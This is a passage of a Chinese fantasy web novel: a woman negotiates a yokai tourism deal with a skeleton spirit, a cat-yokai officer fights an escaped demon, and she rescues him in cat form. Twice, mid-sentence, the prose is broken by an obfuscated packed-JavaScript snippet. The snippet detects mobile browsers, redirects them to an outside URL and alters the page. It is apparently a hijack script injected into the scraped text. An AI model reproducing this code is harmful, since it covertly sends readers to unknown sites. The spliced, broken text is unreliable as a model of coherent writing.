她坐在山顶索道的尽头,俯瞰群峰,早晨的雾气浓厚,凉意侵入骨头。 同样寂寥的风景,看久了也就不足为奇了。 她过来的太早,只有管理索道的工作人员到岗位上,开在更高处的便利店的员工,按照他的作息,现在甚至还没起来。 哎!她应该让黄千玦再早些来的,高山寂寞冷清呀。 管理索道的工作人员敲了敲玻璃,脑袋从小窗中探出来,笑呵呵问道:“要来一个包子吗?还热乎着。” 墨绿色火焰倏地一闪,“不啦。那一点热量是点燃不了我的内心的。” 工作人员摇了摇头,白骨夫人说话一向神神叨叨的。 手心冰凉,林秋哈了一口气,才咬上肉包子,她同白骨夫人也算是老熟人了,说得话不多,但彼此都知道对方。 她是一个人类,知道妖怪的存在,但第一次见到一副骨头架子,眼眶冒着火,在山上像个街溜子一样四处溜达,可差点没把她吓死。 她心有余悸地拍拍胸脯。 忽地,她眯眼瞅了一眼缆线,云雾中出现一个豆大的黑点,问道:“你要见的人是不是来了?” 白骨夫人顺着她的视线望去,突然像是被踩了脚一般弹跳起来,一时忘记使用法术,拔腿就往后面跑去,骨头架子一颤一颤的。 连番操作也看得林秋一愣一愣的,只听见晨雾中遥遥传来一句“别跟他们说我有等过他们。” 林秋应道:“行嘞!” 她快速吃完手里的肉包子,去缆车停靠处接人。老付提前三天跟她讲过,要她今日早些上工,他要带人同白骨夫人谈合作。 “林秋。” “老付!到了呀。” 付修义和林秋寒暄几句,领着黄千玦、黄成往一条小道走去。 黄千玦落后几步,晨雾浓郁,牛乳一般的纯色,在脚间、手肘间、指间缭绕不绝,前边三人的身影显得影影绰绰。 她朝山下俯视,群峰壮丽辽阔,崖峰险峻,云龙穿梭,似山水墨画、人间仙境。 蓦地,一抹微弱的红光闪烁直直对上她的眼睛。黄千玦闭眼,再睁眼,那抹鲜艳的红色依旧占据她的全部眼球,辨不清方向。 “你没遇上危险吧?”声线低沉,凭空出现,此时此境,又染上几分飘渺虚无。 黄千玦心脏猛地一跳,她抬头,恰好此时,视线恢复,凌霁离她三步远,拧眉望她。 她不动声色地拉开距离,“谢谢,我没有事,继续走吧。” 凌霁耸了耸肩,停顿了一两秒,等到前面三人的背影都在他的视线范围内,他才动身向前。 *** 白骨夫人指骨纤长,搭在洞府外的石壁,嶙峋石块衬得她的骨头森然惨白。 她下颌微抬,目光自下而上地扫视来人。 “现在才来,太晚了吧。” 黄千玦瞳孔微微放大,她瞟了眼周边,天地四野,雾蒙蒙的淡灰色一片。 这算迟? 黄千玦轻笑,附和道:“我们下次肯定凌晨一二点就爬山上来。” 白骨夫人矜持地点点头。 等到她领着四人进入洞府,她才后知后觉地踅摸过来,黄千玦这个丫头崽子是在阴阳怪气她吗?但转念一想,又不太对劲,黄千玦的神情诚恳得很。 “啊!”黄成惨叫一声。 黄千玦离父亲最近,只看见成片的浅色东西随着山风吹拂,东摇西晃,一颗撞着一颗,叮当作响。 像是古老禁忌的歌谣,令人毛骨悚然。 她伸手一抓,圆滚滚的东西就落到她手心,雪白的颅顶。 人的头骨! 黄千玦用力一掰。 咔擦。 头骨裂成两半,手上沾满细粉。 她不慌不忙地转向白骨夫人。 白骨夫人原本笑吟吟地看着他们笑话,忽而瞳孔骤缩,大惊失色,付修义一脸无奈。 “石灰做的,挺精致的。”她一手捏着一半头骨,笑容漫不经心。 “介绍一下。” 白骨夫人撇过脸去,别扭道:“某乌小商品。” 据黄千玦搜集到的消息,妖怪管理局一直希图与人类建立良好的关系,如果头骨是真的,他们绝不会容忍着一切的。 白骨夫人说完,又急急忙忙地扯开话题:“继续往前走吧。” 她打了个响指。 “砰!” 密密麻麻的幽蓝色光线从空中晃荡的头颅眼眶中齐刷刷向外射出,洞府泛着诡异阴森的冷光。 山风一吹,鸡皮疙瘩遍布全身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590156|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄千玦眼睛眨也不眨,颇为好奇地捞过一个头骨,摩挲它的眼眶。 白骨夫人得意地回头一笑,却见黄千玦捧着头骨兴致盎然地研究,悻悻道:“人类的一些小发明……”咽下后半句。 绕过一个拐角,视野骤然开阔。 头顶的岩石峭壁裂开一道“之”字型缝隙。 山顶呼啸的冷硬罡风透过缝隙,挤入山洞,吹得山洞里的石灰骨头颤抖,噼里啪啦作响。 在狂风呼啸、骨头战栗声中,她登上她的枯骨王座,“来吧。” 指骨啪的一声,压在王座的扶手,霎时间,组成枯骨王座的头骨眼眶射出七彩琉璃般眩目的光线。 “诶!”白骨夫人惊叫。 付修义歉意地冲黄千玦微笑,好像再说,见谅了,还望你多多包容我家的傻孩子。 黄千玦笑得眼角眯起。 白骨夫人手忙脚乱地关停七彩光之后,重重地哼了一声,以示威严。 压着声调,声音浑厚庄重。 “坐。” 右手指骨向前一挥,随意堆在一旁,垒得小山高的人造骨头拼成四张椅子、一张桌子。 “开始吧。” 黄千玦替黄成、付修义拉开一张椅子,才放下背包,拉开拉链,但没等她拿出文件。 白骨夫人又出声打断:“行了,讲的很不错,我答应了。” 黄成错愕。付修义仅仅见怪不怪地挑了挑眉。 黄千玦眉骨猛地下压,眉眼凌厉,周身气压低沉,手指攥紧文件。 这么随便,真的可以吗? 白骨夫人还真就这么随便地决定了。 “付老头,你跟他讨论后续吧。” “我要跟你聊。”她食指指骨一点,指向黄千玦。 黄千玦缓缓吐出一口浊气。 “行吧。”最起码他们此行的目的达成了,不是吗? 付修义终于可以使用从俞莘身上学到的一招了。 他阴阳怪气道:“喳!” 白骨夫人笑盈盈地示意黄千玦跟着她,墨绿色的火光灼灼,她掰回一局。 黄千玦一路尾随,跟白骨夫人来到洞外。她扭头,凌霁也跟着出来了。 见黄千玦瞧他,凌霁露齿微笑,笑容揶揄。 白骨夫人却突然冲他发难,“怎么这回是你来,之前那个兔崽子呢?” “程宁忙不过来,就让我代班了。”凌霁公事公办答道。 “哦。”白骨夫人似乎信了。 她眼皮一掀,她才不信呢!这次来的这个猫崽子,气息雄浑,修为不浅,目的不纯! 对于主动想融入人类世界的妖怪,妖怪监管局会根据妖怪的危险程度列一个等级划分的黑名单。 妖怪对人类的威胁程度越高,派来监管的执法妖怪越厉害。 监管局好几年派来她这儿的妖怪,修为都弱不拉叽的,怎么今年就派了大妖怪来?白骨夫人抱胸,看来她这鸟不拉屎的地儿也来了贵人呐。 她眸光往云雾缭绕的山峰一瞥,轻哼一声,勉勉强强当她信了凌霁的说辞。 凌霁从从容容地离去,好像他来干的就这一份工作,没有额外的隐藏盲盒工作。 等凌霁的身影消失不见,黄千玦向后一退,拉开距离,“你有什么想和我聊的?” “你不好奇……” 黄千玦洞悉她的心理,唇角微弯,故意不顺着她的话头问,“你不想说,我也理解,人都是有秘密的。” “爸爸和付先生才开始聊,我们有很长的时间可以散散步,闲聊一番。” 说完,黄千玦上前一步,沿着来时的路,走回去。 身侧,太阳一点点地升起,如硕大展翅的金鸟,绽放着金红色的光芒,于云海翻腾,霞光万丈。 黄千玦深吸一口气,肺部翻涌着清晨山顶空气的冷冽与清透,耳目一新,身体涌动着昂扬的朝气。 越靠近索道,蓬勃生气的人语如野火燎过的荒原上,重新冒出的绿芽。 雾气渐渐散去,人影攒动。 白骨夫人急忙喝停:“好了,就停在这里。” 黄千玦身形一顿,回过身,若无其事地问道:“怎么了?” 黄千玦隐隐约约地猜到,白骨夫人答应和她合作的原因和她现在要说的内容有关。 10. 呼噜呼噜 凌霁来天元山景区,自然不仅仅是因为白骨夫人。 多年下来,白骨夫人已经被评估为低危险性妖怪,并不需要派他过来。虽然四年前,白骨夫人被列入黑名单,但后续考虑到白骨夫人外形惊悚的客观原因,他们将其移出黑名单。 前不久,一名大妖怪,名为逢月,身份档案属于保密级别,已经被妖怪监狱关押上千年。 因改造良好、态度端正,经多方综合考虑允许她出狱,但必须实时更新自己的动态,并有专门的工作人员跟进。 出狱后的一段时间内,对方极为积极地融入人类世界,却在三日前突然切断联系,无故失踪。 逢月最近一次的踪迹出现在天元山景区。 凌霁收起平日的嬉皮笑脸,绷紧脸皮,神经时刻处于警惕的状态。 周边高耸的石柱林立,晨雾弥漫,但随着天边红霞晕染,雾气渐渐散去。 视线的可见范围在凌霁周身的十米之内。 “你们就非得追着我不放吗?”声音凭空响起,倦怠厌烦。 凌霁迅速转身,盯着左后方的雾气。 “如果你想和人类保持联系,那你必须按照规章制度行事。” “如果我不呢?如果我偏要按照我自己的方式呢?” “那就不好意思了。” “凭你?” “凭我。” *** 红金色朝晖穿过稀薄的雾气,射到白骨夫人的骨头架子上,白色骨头染上金红,骨架连接处的颜色近乎殷红。 像是泥土下的一捧尊贵白骨,拂去身上厚重的尘土,被锁进博物馆的狭小玻璃柜中。 通身透着落后、寂寞的局促与不合时宜。 黄千玦内心莫名酸涩,她低头眨眼睛,忍下涌起的泪意。 白骨夫人昂着头骨抱胸,打破沉沉的忧郁与落寞氛围。 “前面很热闹。下回你要再来,我让便利店那小屁孩,早些准备好吃好玩的,让你享受享受我的招待。” “我肯定不会客气的。”黄千玦眯眼笑,应下。 “人类很喜欢日出,但也不对,妖怪也喜欢。所以,我想你也会喜欢的,就邀请你这个时间点来了。” 黄千玦心情复杂,云海之上,日照金山,很美,挨冷受冻也值得。 但是为了公务,早早起床爬山,就算她是个铁人,也是会无语凝噎的。 “但在我这个的地方,见到的大多都是人类。几乎是每一天,都有一群人摩拳擦掌,花上一晚上的时间,路上鬼哭狼嚎爬不动爬不动,就是为了看日出。” “我也很喜欢,但我对日出不感兴趣。沧海桑田,看多了,其实也就那样。” “但我会为了他们对日出由衷的的惊叹和喜悦而动容,我像是又活了一次。” “每一次都是如此,四年时间,一千四百多个日夜。”她脖子微微前倾,神情向往。 黄千玦微怔,不为壮丽日出为动容,却为人心底油然而生的真情而欣喜? 她不理解。 正如前面那一群狂欢的人一样,难得一见的群山日出是丰盛奢华的大餐,而周遭的同伴不过是狂欢的佐料。 “你跟他们一样,我也会为你而动容。” “我?” “你的身体里有着旺盛的生机。从你跟我第一次打电话起,我就知道。” “那可真奇怪,在别人眼里,我是活死人,半死不活的。”黄千玦难得自嘲。 “我的眼光天下独一份的好,得到我的青睐,你要自豪。” 黄千玦:……保持你的世外高人风度久一点。 *** “你懂什么!” 逢月墨发飞扬,原本面容白皙,现在遍布尘埃和凝固血痂。她指尖一扬,鲜血滴滴嗒嗒地溅到地上。 凌霁咽下涌上的血沫,大拇指擦去唇边的血渍,身上的伤口发疼,他重复道:“你的时代已经过去了。” “那你去死吧。”逢月面容阴森可怖。 “就算我去……有些太晦气了,就不再重复了。”他耸耸肩,面上轻松地揭过。 “但事实就是,你再狡辩,也改变不了你的时代已经过去,你所怀念的此刻,早已埋葬在历史的洪流之中,成为过去。” 说完,凌霁敛目,暗中警惕她的一举一动,她现在就是一个不定时爆炸的火药桶。 但他并不打算顺着她的心意说,假的就是假的,永远成不了真的,梦总有一天是要醒的。 凌霁临行前,特意调看了逢月的保密档案。 逢月,和白宪齐名的瑞兽,当年不知何种缘故,背上凶兽的骂名,被关进监狱,修为丧失大半,人也颓废不振。 白宪就是大多数妖怪口里的“大人”的名字。 逢月的案例在档案室成千上万的卷宗里并不少见。 他会为她唏嘘,但生活就是如此,或者说世界就是如此,不会为任何人、任何妖怪停留。 像白骨夫人一般,能够自我和解,追忆往事,却不沉迷过去,仍旧欣赏当下,是很少见的。 *** “放屁!我才不喜欢过去呢。有谁会喜欢回忆自己连续三次都被同一个妖怪打死?!!” 白骨夫人匪夷所思地尖叫。 “你有错在先。”黄千玦冷静指正。 “而且一个人极力想否认某件事情,往往表明自己很在乎,妖怪也是一样的。” “拜托姑奶奶,你要理解,他当时就跟街上无主的亿万钞票一样,谁都想捡,要是成了,那就发达了。”白骨夫人跳脚。 “小朋友都知道路上捡到钞票,要交给警察叔叔。”黄千玦眨眼。 “所以我这不就改过自新,重新做妖了!” 说着说着,白骨夫人反倒把自己逗乐了。 黄千玦唇角勾起一个微不可见的弧度,从对话里找到某种乐趣。 她神色微动,戏谑问道:“你会这么乖巧?” “我是个良民。”白骨夫人心有余悸,那三棒子打下来,每到刮风下雨的阴暗天气,她的骨头架子都要噼里啪啦地碎一地。 跟当初一模一样。 “我可不信。凌霁不就是派来看着你的。” 白骨夫人发愣,凌霁是谁?但转瞬反应过来,“那个小子?” “他根本就不是来管我的!”墨绿色火焰几欲跳出眼眶,扑向黄千玦,却只扑通了几下,又落回眼眶。 啧啧叹道:“他呀!” “那是为了什么?” “一个更厉害的妖怪。” 黄千玦:……这话跟没说有什么区别。 “你不要掺和这件事,那猫崽子想要掺和,也不掂量掂量自己的本事。” 黄千玦眼眸幽深,视线落到云雾之中,更为确切地说,是云雾之下的嶙峋石柱。 石柱颤动,虎啸震天。 *** 白色的身影在云雾中掠过,落到地上。 它眼线狭长,湖绿色瞳眸,毛发蓬松灰白,遍布不规则的黑色斑纹,尾巴黑白相间,有它整个身子般长。 此时毛发一绺一绺地打结,颜色深红,胸腹剧烈地起伏。 凌霁不顾身上的伤口,扼住逢月的喉咙,锋利的爪子微微下陷,逢月的脖子皮薄,他能清晰地感触到底下血管的跳动。 他随时能掐断她的喉咙。 混着血腥气味的驳杂气息向四处扩散。黄绿色竖瞳在雾气、石柱、树影间幽幽闪现,却在凌霁的冰冷目光下,畏缩不前。 寂静。 野兽慢慢退去。 “最后一次警告,跟我回去,否则后果自负。”他压低声音,喉咙里冒出近似于猫咪的呼噜呼噜的威胁声。 逢月倒在地上,悄无声息,眼皮紧闭。但凌霁知道,她还清醒着。 忽地,逢月睁开眼,酣畅淋漓地大笑。 凌霁惊愕。 许久,她收住笑声,问道:“你体会过濒死的战栗吗?” 自问自答:“看你的年纪,就知道没有。” “它能给我带来快感,让我真真正正地体会到,我还活在世间,而不是在磋磨岁月中幽怨愤恨一切。” 凌霁琢磨着逢月的心理,没有立刻回话。 “我不需要这种快感。” 每天十个冰淇淋这种小小的满足,就能让他幸福,但他的牙医总想制裁他的冰淇淋,剥夺他的快乐! 他从没见过一个像他牙医这样的人类,总想制裁他的冰淇淋。 凌霁已经被迫减到一天三个冰淇淋。 逢月噗呲一笑,眼睛闪烁着歆羡的光芒:“真简单啊!” 凌霁一愣,她说话莫名其妙,但她的眼神慈爱,让他无所适从,像是回到了在父母怀里撒娇的幼崽时期。 “希望你永远不要像我一样,需要体会这种濒死的快感。”逢月由衷祝福道。 “我不会逃了,可以让我坐起来吗?” 她的嗓音透着坚韧与稳重,凌霁莫名信任她,松开爪子,后退几步。 他卧在地上,舔着前掌上的伤口,尽可能地恢复体力,减少血液的流失。 “抱歉,让你受伤了。” “我也伤到你了。”凌霁不让步。 “也好。”她垂眸思索,忽地扬首,挤出一个笑容,“我想回家了。很多年了,我没有回去过。你说时代变了,我信,我比谁都清楚,我只是在自欺欺人、恼羞成怒。” “梦总归是要醒的。” 她幽幽叹息。 凌霁没有妄动,等待她的后话。 “我总要亲眼见过我的家乡如今是什么样子,不管它变成模样。” 但逢月的故乡早已面目全非了。世间的一切,都抵不过一词,沧海桑田。 “但在你走之前,我希望你能回去登记离职,申请回家,毕竟你还处于假释期间,而且你造成的麻烦,你必须自己回去承担。” 她不正面回答:“白宪知道这里发生的一切。你会接到他的电话的,他会解决这里的一切。” 凌霁没有接话。 逢月对上他的眼睛,惑道:“你不信?” “我信。”凌霁颇有些咬牙切齿,他只是想起一些不好的事情。 电话、短信每次掐秒响起,真的像夜半凶铃。 “那就好。”逢月浅浅一笑,“我很抱歉我对你们造成的麻烦和伤害,为此我会补偿你们。” 逢月出逃,并未伤及妖怪和人类,最头疼的就是要走相关流程的妖怪或人类,受伤的估计就凌霁一个。 但凌霁也伤到她了,他不亏。 若是有妖怪或人类受伤死亡,凌霁不会这么轻易放过她! “送你们一个礼物。” “我可以主动提吗?” “你说。” “我希望能在我回家打开门时,一无所知地惊喜发现,我家里堆满各种口味的冰淇淋全家桶吗?拒绝抹茶口味。” 逢月:…… 逢月强撑着笑意,“礼物一概不接受指定。” “再见!”说完,逢月撑着伤痛爬起来,一瘸一拐地消失在越来越稀薄的雾气中。 远方飘来一句“等着,礼物会来的。” 凌霁遗憾地叹气,不能接受指定,还问他做什么?他白期待了。 随着逢月的离去,他绷紧的身躯也松弛下来,慵懒地趴在地上,继续舔爪子上的伤口,直至伤口结痂。 至于腹部的伤口,他只能等回到付修义身边,让他帮忙找个兽医治疗。 他舔了几口,嘴里充溢着铁锈的腥味,他顿住,呸呸几口吐了出去,他还是更喜欢香甜冰凉的味道,又冰又辣的味道也可以。 凌霁晃悠悠地站起身,眼前一阵发昏,好一会儿,眼前的景物才清晰起来,他一摇一晃地走进丛林。 *** “千玦!”黄成语带轻松,搀着付修义,远远地叫她名字。 黄千玦招了招手,又对白骨夫人道了一声别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590157|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,迎上黄成和付修义,三人一同离去。 只留白骨夫人一妖静静地立在后边。 回程缆车上,黄千玦望着玻璃外翻涌的云海,思索那些被抛却在时间长河之外的妖怪。 她又想起那份爸爸带回来的名单。 有多少个妖怪是和白骨夫人一样呢? 黄千玦不能不为他们惆怅惋惜,但时间就是如此无情,如湍急凶猛的黄河,卷起周边的大量泥沙,一路向前,直至河流地貌面目全非。 他们能抓紧的,只有当下。 但她心里则更加坚定她的决定,继续妖怪文化旅游项目方向的开发。 不仅于她有益,或许对于他们,也未必不是一件好事。 *** 同付修义谈定合同之后,黄千玦、黄成父女并未立刻离开,而是分头行动。 黄成具有多年旅游带队统筹经验,由他负责联系周边相关妖怪企业,组织旅游的住宿、餐饮等工作。 黄千玦年轻体力好,脑子灵活,做事全面,由她以游客视角重游天元山景区,对此前制定的旅游方案进行调整。 第三日早晨。 雨后空气清新湿润,太阳高悬,远不似南方夏日的闷热咸湿。 黄千玦穿着白色背心、阔腿长裤,腰间绑着长袖格子棉衬衫,马尾辫甩在身后,罩着一顶遮阳帽,青春活力。 她背起放在椅子上的背包,背包左侧斜斜插着卷起的景区地图,便要出门。 黄千玦沿着付修义告知她的员工通道,避开拥挤的人潮,乘坐摆渡车到达天元山。 天元山脚,游客摩拳擦掌,跃跃欲试。 距离黄千玦四五米外,一群年轻大学生极为显眼,穿着各色冲锋衣,肩上背着野营装备,朝气蓬勃。 队伍最前头,一个高大矫健的男生,穿着草绿冲锋衣,挥舞着鲜艳的红旗,嘴里发出嘹亮的长啸,像是猴王呼唤猴儿。 围在他周边的学生,有的羞答答地低着头,装模作样地哼唧了一声,有的跟他一样,兴奋地大喊大叫。 树叶簌簌。 黄千玦耳朵微动,视线望去,树身高大,树叶浓密,林梢间突然窜出一只尖嘴猴腮的猴子,毛发泛着棕金色的光泽。 一个接着一个,树上长满了小猴子,手舞足蹈,诶诶哟哟地应和着。 闹得游客们指指点点,看看猴子,又看看学生,笑得前仰后合。 黄千玦笑得肚子直疼,缓了好一会儿才直起腰。 那群大学生缩着肩,臊着脸,却硬昂着头,像一群梗着脖子的愣头鹅,装出一副无所畏惧的模样,浩浩汤汤地出发了。 黄千玦落在他们身后,时不时拿起手机拍下雄壮美景,视线却极力避开他们。 抱歉,她现在一看见他们就想笑。 行至半程,两伙人分道扬镳。 “嗷呜……” 黄千玦忽地顿住。 “老妹儿,咋啦?” 一个高壮的妇女迅速抓紧黄千玦的手臂,戴着炫酷墨镜,底下眼神犀利得很,立刻注意到她走神了。 黄千玦跟那群大学生分开,没走出几百米,又遇见一个心肠贼热、嗓门贼亮的东北大婶,两人结伴爬山。 “这雨哗哗完,地出溜滑,别卡喽!” 昨晚才下过大雨,地上还没干透,石阶上凹着的浅坑积着水。 她们已经走了六七百个石阶,腿正酸软,必须得小心别滑下去。 “记着了!王婶。” “但是我好像听到了猫叫?”声音虚弱,上气不接下气,时有时无。 “啥?”王婶惑道,“我咋一点儿动静都没听见?” 黄千玦舔了舔下嘴唇,一时之间,她也不太方便解释,直接指着声音的方向,道:“王婶,你在这儿等我,我去看看,很快就回来。” “老妹儿,婶陪你走一个!” 王婶家也有个姑娘,弱不禁风的,走个路都能把自己扭到。黄千玦和她家姑娘一个年纪,自己一个人往那一看就没人走过的灌木丛走去,她可不放心。 黄千玦利落地翻过围栏,拂开灌木叶,裤子湿了大半,贴紧她的小腿。 约五十米左右,树木高大,蓊蓊郁郁,风一吹,雨水密密地砸下,小猫咪颤颤巍巍,雨水顺着它圆润的脑门滑落,在它身下积出一滩水洼。 银色毛发湿漉漉地贴紧皮肤,眼睛紧闭,鼻尖微微颤动,喉咙里发出弱弱地呼噜声。 腹部的毛发浸在水里,水洼浑浊,空气里飘着浅淡的血腥味。 她这次出来,只带了些感冒药、消暑药。 “这旮沓咋还藏个猫崽子!咋整这样了?” “妹儿,让婶瞅瞅。” 黄千玦往旁边一侧,让出半米空间,“应该是被山里的野兽给伤到了,又淋了一夜雨。” 她伸手摸了摸小猫崽的额头,滚烫惊人。 王婶叹了口气,吐槽道:“活脱儿就我家那小冤家。”卸下背包,熟练地拿出一卷绷带、一小瓶酒精。 “给我闺女整的,倒让猫崽子先用上了。” 黄千玦解开腰间系着的格子衫,裹着小猫咪,细心地擦去身上的水珠。她的格子衫和裤子沾了血,眉宇紧锁笼。 “别惦心!我家老闺女三天两头挂彩,包扎这活儿我闭眼都能整!这猫崽子命硬着呢,扛这老半天都没趴窝,指定能活蹦乱跳的!” 王婶嘴上安慰道,手上的利索劲儿一点没减,又快又稳地包扎好小猫崽。 “咱麻溜儿往回蹽!前边儿不远就有个卫生所,赶紧带这猫崽子去拾掇拾掇!” “咋了,老妹儿?”王婶回头,惑道。 黄千玦眉头依旧蹙起,愣愣出神,盯着小猫崽儿趴着的草堆。 不对劲。 闻言,黄千玦摇摇头,“没事,赶紧走吧,王婶。” 但心里却疑惑极了,小猫崽儿小小的一个,怎么可能压倒周围一大圈的草? 她暂且压下心中的困惑。 11. 绑架代替购买 黄千玦抱着小猫崽儿,格子衫随意地绑在腰间,裤腿漫着大片大片的深色。 她跑在王婶的前头,推开卫生所的木门。 “你好,你们这里有没有能给小猫吃得抗生素?我怕它挺不过去。” 医生戴上眼镜,眯眼细看,惊呼:“这么受了这么重的伤?” “我这里还剩些药,上次治山上猴子剩下的。你还是要赶紧带它下山,去景区宠物医院。” 医生背过身去,打开左边第三个玻璃柜。 “谢谢。”黄千玦由衷感谢。 医生递给黄千玦抗生素,随意挥了挥手,“这种小猫,一片半就够了。” 黄千玦点头,把抗生素压成粉末,和着水,小心翼翼地喂进嘴里。 等小猫没有任何呛鼻的迹象,她才重新抱起它,去找王婶告别。 却见王婶正揪着一个女生的耳朵不放,嘴里骂道:“你这小丫头片子,自个儿先嚷嚷要爬山锻炼,咋还猫这儿享上福了?” “道上碰见个丫头,人比你勤快,还贼有爱心!” "妈,你再饶我一回吧,我脚脖子都崴伤了,不信你瞅瞅!"女孩迭声求饶。 “我是你老娘!你搁这儿憋啥鬼主意,当我不知道啊?还想糊弄你老娘?” 黄千玦瞳孔骤缩,上前不是,不上前也不是。 家庭内部纠纷,她还是远观为好。 蓦地,她对上一双惊慌无措的眼睛,他两手各端着一个热气腾腾的关东煮,看着王婶母女耍宝。 卫生所外边的关东煮吆喝声传进屋内。 对方发现黄千玦正看着他,他微微撅嘴,发出“嘘嘘”声,赶忙将一个纸杯里的肉丸子、豆腐皮、牛肉丸等等叉进另一个纸杯里。 堆得满满当当,这才满意地迎上去。 “媳妇儿啊,爬这老半天山累坏了吧?我特意整了点儿吃的,你快歇会儿吧!”他殷勤地将满当当的关东煮递给王婶。 女孩只能委屈巴巴地捧着她清汤寡水、飘着几根小菜叶的关东煮。 王婶却慈祥地冲黄千玦招手,“快来!爬了这么久,先垫垫肚子。” “不用啦,王婶,我还是先赶紧下山。” “不中!饿着肚子咋打胜仗?” 王婶拽着黄千玦手臂不放,非得让她拿着串着满满的棍儿路上吃。 黄千玦不愿意辜负王婶的好心,一手抱着小猫崽,一手捏着棍儿,嘴里嚼着肉丸,再次出发下山。 她一路跑着,吃完的棍儿,拧成几折,掷进垃圾桶。遇到斜坡,黄千玦就翻过围栏,顺势滑下。 气喘吁吁地坐上摆渡车,手背探了探猫崽的额前,体温仍烫,但比之前下降了许多。 摆渡车在攀山公路上疾驰,黄千玦将猫崽裹紧,搂进怀里。 疾风扑面,热气一扫而空,她却脸色发白,眉宇间笼着忧色。 山上卫生所的医生给了黄千玦景区宠物医院的电话,她提前预约告知。 等摆渡车在医院停下,护士拥着医生,匆匆赶来,将小猫崽接走。 黄千玦才得到休息时间,垂着头,茫然地盯着米色大理石地板,耳朵嗡嗡作响,手里捏着接待处的小护士送她的矿泉水。 一缓过来,她就拧开水瓶,却和平时一般,小口吞咽,直至将水喝完。 医院里,空调冷气飕飕地刮着,黄千玦坐立不安,起身来回走动,驱赶内心的焦灼。 她需要找一些事情来做。 四下扫视宠物医院,这家医院的装饰极为用心。 医院里到处都贴着萌萌的动物照。比如说就诊室的门把手下面,一只小猴子垫着脚尖,高举着手臂,像是要去够门把手。 忽地,医院大门又一次被猛地推开,一股黏糊的热气冲了进来。 来人居然是付修义! “在哪呢?” 小护士慌张地小跑过去,“老付,你怎么过来了?” 黄千玦疑惑地跟上。 付修义当即就要问,小王在哪里?受伤的凌霁又在哪里? 却在撞见黄千玦时,下意识地憋了回去。 “千玦,你怎么在这?” 小护士瞅了瞅两人,替黄千玦回答:“她送了一只腹部受伤的猫崽过来,王医生正在手术室里!” “那就好,那就好。”付修义勉强放下心来。他刚结束和谢辞的会议,就收到小王的消息,凌霁受了重伤,他马不停蹄地赶了过来。 天元山景区招了一部分妖怪员工,要想瞒过所有的人类员工,那是不可能的,所以付修义有选择地、循序渐进地告知部分人类员工,王医生便是其中一员。 平常给动物看病做手术,私底下又负责妖怪们的体检。 付修义非常清楚凌霁来此的目的,这件事不方便同外人讲。 他装模做样地叹了口气,安慰道:“可怜的小猫,进了手术室好歹能安心很多。” 他是相信凌霁肯定能扛过去,只不过...... “你捡到他时,周边有什么异样?比说其他动物或者人?” 黄千玦静静地听完,面上表情没有明显起伏,眼睛却略带审视,上下扫视付修义。 动物或人?黄千玦在心底咀嚼这两次词眼,他为什么下意识假定猫崽是被动物或人伤害?为什么不可能是滚下山坡时弄伤的? 付修义抵着她的视线,心底发慌,讪讪笑道:“怎么了?我说错什么了?” 黄千玦唇角弯起,弧度极小。她摇摇头,附和道:“小猫崽的伤口看起来像是野外动物抓伤的,又下过雨,没留下多少痕迹。”她瞒下那大片被压倒的杂草堆。 付修义不像她家里的那两个小漏勺,自己捣鼓捣鼓,就能漏得一干二净。第一日同他吃饭,黄千玦就发现,面对未知的危险,他审时度势,极为谨慎,她若是贸然询问,只会打草惊蛇。 付修义松了一口气,心底绷紧的绳子一松,就后知后觉地意识到自己话里的漏洞,忙给自己找补。 “前不久山里的猴子受伤了,我们最初以为是猴群里的打架,结果受伤得越来越多,有只差点没救回来。” “我们熬了几个大夜,翻看监控,才发现一只长臂猿窜进了猴子的领地,这才赶忙联系动物观察员,将长臂猿送回去。我担心别又是哪个动物乱窜,不小心伤到别的动物。” 给自己找补完,他又劳心劳力地替猴子们找补,“别看它们自个窝里打得凶,其实还挺亲人的,只是调皮了一点。” 黄千玦想起那群嗳嗳哟哟起哄的猴子,忍俊不禁,唇角溢出点点笑容,不住地点点头,像是信了付修义的话。 付修义擦擦汗,糊弄过去了。 “对了,老付你慌里慌张地跑过来,是遇上什么事了吗?”黄千玦状似无意地问道,第一天见面,付修义就让他们父女俩改口,直接叫他老付就行,付老什么的,听起来奇奇怪怪的。 他身子又立刻绷紧,眼珠儿提溜地打转,扫到左前方的一个观察室,他眉眼心疼,道:“西区的小梅花鹿又生病了,我不放心,一结束,救火急火撩地过来陪着。” “千玦你还没见过吧,可乖了,医院里就没人不心疼的,它打从娘胎里就带着病,是医院里的常客。小王,也就是王医生,见它一直蔫巴巴的,想给它找个伴儿,就抓了一窝小壮丁。” 他一面说,一面引着黄千玦往观察室走去。 小护士待在原地,无语地摇了摇头,小陈说得果然不错,老付最近稀里糊涂的,小梅花鹿早就好了,只不过非要赖在这里,跟它的小伙伴腻歪一起。 她回到自己岗位上。 “喏!就是这窝小猫咪。”付修义指着偎在一起的小梅花鹿和小猫咪们,“它们玩得十分要好,之前小梅花鹿没生病,就被它找到机会,溜出鹿岭,虎里虎气地跨过大半个园区,来找小猫们。” “真不知道谁借它的胆子!”付修义说得咬牙切齿,字一个一个地从嘴里蹦出来。 黄千玦心不在焉地听着,心思早就飘到急诊室里,视线频频往外瞟去。 “千玦不用太担心,小王的手术技术很好,肯定会没事的。”付修义注意到黄千玦魂不守舍,安慰道。 